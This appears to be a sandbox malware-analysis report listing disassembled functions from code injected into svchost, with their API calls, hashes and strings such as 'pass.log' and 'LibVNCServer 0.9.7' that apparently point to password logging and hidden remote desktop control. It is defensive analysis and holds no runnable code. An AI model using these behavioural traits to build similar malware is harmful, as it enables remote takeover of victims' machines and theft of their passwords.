                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: fff302ee3b30c264ee0b45909c7ee0650ba2af0419d9d1cd90c9113fc6f59942
                                                                                                                                                                                                            • Instruction ID: c22fec3debad68109ae53af3713d6f3bc022abe314a829566c38cd502efa383c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fff302ee3b30c264ee0b45909c7ee0650ba2af0419d9d1cd90c9113fc6f59942
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6C410070D002589FDB10DFA8DC84ABEBBF5EB49B14F14856AE854E7300D7749A41CF90
                                                                                                                                                                                                            Function 02C713C0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C713EE
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7142A
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C71456
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7147D
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02C714A8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: 2384ea9097a833b24d5b8108a4602d841b8cc338c89f456d74cb20a2ae7ef3d8
                                                                                                                                                                                                            • Instruction ID: 1d0cbe58a42e6112b8ddfa8b43695c8949b580d3d940c60503325a504768526f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2384ea9097a833b24d5b8108a4602d841b8cc338c89f456d74cb20a2ae7ef3d8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C531BFB1D10209AFDB40DFA8D885AEE7BF9FB4C310F11856AE919E7240E37499418F90
                                                                                                                                                                                                            Function 02C881F0 Relevance: 7.6, APIs: 5, Instructions: 89networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WSAGetLastError.WS2_32 ref: 02C88212
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C88243
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C8826F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C88296
                                                                                                                                                                                                            • WSASetLastError.WS2_32(?), ref: 02C882C9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: b819b516573bc4f912785a3247e2323c5e7f75cb7350b74a62e991f6c2d5373a
                                                                                                                                                                                                            • Instruction ID: 06586e1eaa10fa555cb0fbba212fe2088047078a4de0b2aeeb16aef29d23f064
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b819b516573bc4f912785a3247e2323c5e7f75cb7350b74a62e991f6c2d5373a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6B31B8B5D0020CAFDB40DFA9D984AEEBBF5FB48304F11856AE914E7200E7749A40CFA1
                                                                                                                                                                                                            Function 02C718C0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$exitmallocmemcpy
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2377537114-0
                                                                                                                                                                                                            • Opcode ID: 8395759df2680560837155c9172614cfa67c7f3d6aaca21d69cc930b074bc6fd
                                                                                                                                                                                                            • Instruction ID: c08f22b8a041d20cf0afc80c082c48cf2a026f55f6d974c7d19bec6c713f0404
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8395759df2680560837155c9172614cfa67c7f3d6aaca21d69cc930b074bc6fd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E52190B1A0024AAFC714CF59E480B6ABBF5FF89304F14892CD98EC7300E771A661CB85
                                                                                                                                                                                                            Function 02C76189 Relevance: 7.6, APIs: 5, Instructions: 54memoryregistrystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02C761EA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C761F1
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76205
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02C7621E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02C7622C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocCloseProcesslstrcpynmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3057210225-0
                                                                                                                                                                                                            • Opcode ID: 7bea04ede20f95714734c4022fbc73ad228c7d020ed77ea41a7ec876b47ed26c
                                                                                                                                                                                                            • Instruction ID: 4f0b01245737fa7da752c37295db53623940fa9153e1b90dd3e3a415debeda5d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7bea04ede20f95714734c4022fbc73ad228c7d020ed77ea41a7ec876b47ed26c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B114E31E815981BEB2B9774AC0DBDD779CEF5C704F1049E9EA49D7181D3B08A848B91
                                                                                                                                                                                                            Function 02C7C2B0 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000), ref: 02C7C2C2
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C7C2D9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7C2EF
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C7C300
                                                                                                                                                                                                            • ExtractIconExA.SHELL32(?,00000000,?,00000000,00000001), ref: 02C7C317
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseExtractFileIconInformationModuleNameOpenProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1270303404-0
                                                                                                                                                                                                            • Opcode ID: ffefde84407ffa3bf936f714ec4d8c0ba9547b0d4e51b9316abd8307bece1bdc
                                                                                                                                                                                                            • Instruction ID: fa5839e23e620cd07b6d641c22ee302d381c8dd328d23801ca2f16bbda693b11
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ffefde84407ffa3bf936f714ec4d8c0ba9547b0d4e51b9316abd8307bece1bdc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CB016D31A81658BBE721DB909D09FEABB7CAB05700F004685BE05A61C0DBB05B84CAA9
                                                                                                                                                                                                            Function 02C7D330 Relevance: 7.5, APIs: 5, Instructions: 37threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?,?,00000000,76233080,?,02C782BC,?,00000006,00000000), ref: 02C7D33C
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02C7D353
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7D356
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,00000006,?,02C782BC), ref: 02C7D36D
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02C7D372
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$DesktopMessageSendThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3855296974-0
                                                                                                                                                                                                            • Opcode ID: 44198578d312c57fc9eb2ae3cdbaf9db90f23ab8b14fd1f3ee048e683ca965c8
                                                                                                                                                                                                            • Instruction ID: ac6f0cea62db6b4614dbee0b083b0783286056901d2d81e97fb8edad2a23fa5b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 44198578d312c57fc9eb2ae3cdbaf9db90f23ab8b14fd1f3ee048e683ca965c8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F0F08276A807187FD622DB55EC88FABB7ACEFC8B60F014605F90497340CA70ED118AB0
                                                                                                                                                                                                            Function 02C7C330 Relevance: 7.5, APIs: 5, Instructions: 34threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7C33C
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7C344
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02C7C350
                                                                                                                                                                                                            • SendMessageA.USER32(?,0000000D,?,?), ref: 02C7C361
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02C7C36D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$AttachInput$CurrentMessageProcessSendWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2643679612-0
                                                                                                                                                                                                            • Opcode ID: dcb0cf830bf581fd3f1da6442162149c9e39e46a52e7eb12a6fd96775cb7a615
                                                                                                                                                                                                            • Instruction ID: 959e801d460fe618b7d861801d82dddbef8d6917c6acba2e40b479354d5c2cc3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: dcb0cf830bf581fd3f1da6442162149c9e39e46a52e7eb12a6fd96775cb7a615
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 65F03732680344BBD7115BA5EC8DF9BBF6CEB89761F004955FA05C7241C575DC118A70
                                                                                                                                                                                                            Function 02C7D2F0 Relevance: 7.5, APIs: 5, Instructions: 30threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7D2FA
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7D302
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,02C78F74,?,?,?,?,02C78500,?,?), ref: 02C7D314
                                                                                                                                                                                                            • GetFocus.USER32 ref: 02C7D316
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,02C78F74,?,?,?,?,02C78500,?,?), ref: 02C7D323
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$AttachInput$CurrentFocusProcessWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 968181190-0
                                                                                                                                                                                                            • Opcode ID: 147987f55d11e5604dcac225d12b0c0a976c67476d363a4c1d756db7917f9057
                                                                                                                                                                                                            • Instruction ID: 28bfdfac62720a456aaab90a63a047adc048fab3a29c7a037b15124af4f38da9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 147987f55d11e5604dcac225d12b0c0a976c67476d363a4c1d756db7917f9057
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 05E0D832E80254BBD71257B6AC4DF9BBFACEB85761F100A95FA08C3241D575DC108AB0
                                                                                                                                                                                                            Function 02C873B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • strncpy.MSVCRT ref: 02C87461
                                                                                                                                                                                                              • Part of subcall function 02C86DE0: fseek.MSVCRT ref: 02C86E04
                                                                                                                                                                                                              • Part of subcall function 02C86DE0: fwrite.MSVCRT ref: 02C86E17
                                                                                                                                                                                                            • fseek.MSVCRT ref: 02C873EA
                                                                                                                                                                                                            • fread.MSVCRT ref: 02C87408
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: fseek$freadfwritestrncpy
                                                                                                                                                                                                            • String ID: 82c31cf4
                                                                                                                                                                                                            • API String ID: 3817246059-1946308177
                                                                                                                                                                                                            • Opcode ID: a79c007313c34b4014313cf13caa20cf08d1be367463825b5006dbe7b7b136ba
                                                                                                                                                                                                            • Instruction ID: b8e7cecda93eb0dead1d0f925f56b964769aedb0d50f87b117b0d37f1e7c93e9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a79c007313c34b4014313cf13caa20cf08d1be367463825b5006dbe7b7b136ba
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0631A479A006418FC731DB28D484B22FBE5EFC5218F288A9DD48587752E335E8C9CFA1
                                                                                                                                                                                                            Function 02C8E1B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c319a5), ref: 02C8E1D7
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02C8E240
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashExistsFile
                                                                                                                                                                                                            • String ID: 82c319a5$pass.log
                                                                                                                                                                                                            • API String ID: 1760361154-4118121134
                                                                                                                                                                                                            • Opcode ID: 0f27a7be032a33f1b8d52846a28b0450dff6c1478a75e100e02a8c87b137c549
                                                                                                                                                                                                            • Instruction ID: cde347b72a7618a63202c6e584855481142a0c40c80e2d4882351e2cace664e9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0f27a7be032a33f1b8d52846a28b0450dff6c1478a75e100e02a8c87b137c549
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 81112B715046994BC71A8B3CA8A86F7BFE49BC6304B24C6D5ECC987302EA308949C780
                                                                                                                                                                                                            Function 02CA2040 Relevance: 6.3, APIs: 5, Instructions: 54COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1294909896-0
                                                                                                                                                                                                            • Opcode ID: 375dcdb8f9d8c053798a386486593617f9a7364776c0a6d9b002b71cefc70fbb
                                                                                                                                                                                                            • Instruction ID: 32decc90f6327c08c48a5e4470352e3794319a5cb4ff2731381c70f0029124e5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 375dcdb8f9d8c053798a386486593617f9a7364776c0a6d9b002b71cefc70fbb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 110140B2A017925FD730DFA998A241BBAD57D8010C359893DD9DB87A04D332EA48D683
                                                                                                                                                                                                            Function 02C999D0 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: mallocrealloc
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 948496778-0
                                                                                                                                                                                                            • Opcode ID: 617ddba0da475d12365199744d1ab891e5c667aa76b892f5b1f441804cd25320
                                                                                                                                                                                                            • Instruction ID: 6cde7e2f18e87d6f173b652e2c6a1794951f391c4f574f69ca29a89e7ee0b19a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 617ddba0da475d12365199744d1ab891e5c667aa76b892f5b1f441804cd25320
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DA91D072E402559FCF14CF68CD89BAA3BA6FF84305F1445BDED099B342D674A911CBA0
                                                                                                                                                                                                            Function 02CA29B0 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: mallocrealloc
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 948496778-0
                                                                                                                                                                                                            • Opcode ID: 3d40dffe10013fffd5ae44fd307643510c6ad2ac8a2ee88332ed811f9e5f3228
                                                                                                                                                                                                            • Instruction ID: 4f4f3afa43a001937bef1278ed365547be65adbf3fd40dbb2645ab194026c166
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3d40dffe10013fffd5ae44fd307643510c6ad2ac8a2ee88332ed811f9e5f3228
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CD91E371E402168FDB14CF64DC90BEA7BA5EF84309F1445B9ED0A9B345D634AD12CBE1
                                                                                                                                                                                                            Function 02C9E8C0 Relevance: 6.1, APIs: 4, Instructions: 146COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2781271927-0
                                                                                                                                                                                                            • Opcode ID: c3624851fb6fa9ff8d6a0b37a51e9ad6e4dd1301b963aaafc1a1860065f70463
                                                                                                                                                                                                            • Instruction ID: 1f5c1bca1454f4497758cdfbd9b6462781be5221fc9b1ed8a8ef1214c8089ceb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c3624851fb6fa9ff8d6a0b37a51e9ad6e4dd1301b963aaafc1a1860065f70463
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 56510370140B019BCB65CF29C8887D6B7A6FBA5328F75CA1AC46B87294EF31E546CB50
                                                                                                                                                                                                            Function 02C9BBD0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 126COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: wsprintf
                                                                                                                                                                                                            • String ID: %s (%s)$LibVNCServer 0.9.7$unknown
                                                                                                                                                                                                            • API String ID: 2111968516-696653274
                                                                                                                                                                                                            • Opcode ID: 6f2b4592c0379c54cd2e22e6550db7af00e3b4b6c991f6b1c1509ecc040b68af
                                                                                                                                                                                                            • Instruction ID: f3a6578cfe0d99802cf4209567976f5db84ca5528890942b20ec814025212247
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6f2b4592c0379c54cd2e22e6550db7af00e3b4b6c991f6b1c1509ecc040b68af
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BA41D631A0465A5FDF01CF28D9A8BE67BA5EF85305F0481F5DD0D9F206DB74A60ACBA0
                                                                                                                                                                                                            Function 02C81130 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C81152
                                                                                                                                                                                                            • GetParent.USER32(?), ref: 02C8115E
                                                                                                                                                                                                            • GetWindowTextW.USER32(00000000,?,00000104), ref: 02C81175
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02C81196
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
